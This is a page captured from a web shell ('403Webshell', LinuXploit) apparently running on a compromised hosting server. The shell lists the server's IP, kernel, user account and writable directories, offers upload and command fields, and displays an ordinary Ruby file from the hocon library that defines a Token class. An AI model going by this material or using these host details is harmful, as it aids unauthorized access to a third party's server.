403Webshell
Server IP : 66.29.132.122  /  Your IP : 18.191.237.79
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/puppetlabs/puppet/lib/ruby/vendor_gems/gems/hocon-1.3.1/lib/hocon/impl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/puppetlabs/puppet/lib/ruby/vendor_gems/gems/hocon-1.3.1/lib/hocon/impl/token.rb
# encoding: utf-8

require 'hocon/impl'
require 'hocon/impl/token_type'

class Hocon::Impl::Token
  attr_reader :token_type, :token_text
  def self.new_without_origin(token_type, debug_string, token_text)
    Hocon::Impl::Token.new(token_type, nil, token_text, debug_string)
  end

  def initialize(token_type, origin, token_text = nil, debug_string = nil)
    @token_type = token_type
    @origin = origin
    @token_text = token_text
    @debug_string = debug_string
  end

  attr_reader :origin

  def line_number
    if @origin
      @origin.line_number
    else
      -1
    end
  end

  def to_s
    if !@debug_string.nil?
      @debug_string
    else
      Hocon::Impl::TokenType.token_type_name(@token_type)
    end
  end

  def ==(other)
    # @origin deliberately left out
    other.is_a?(Hocon::Impl::Token) && @token_type == other.token_type
  end

  def hash
    @token_type.hash
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit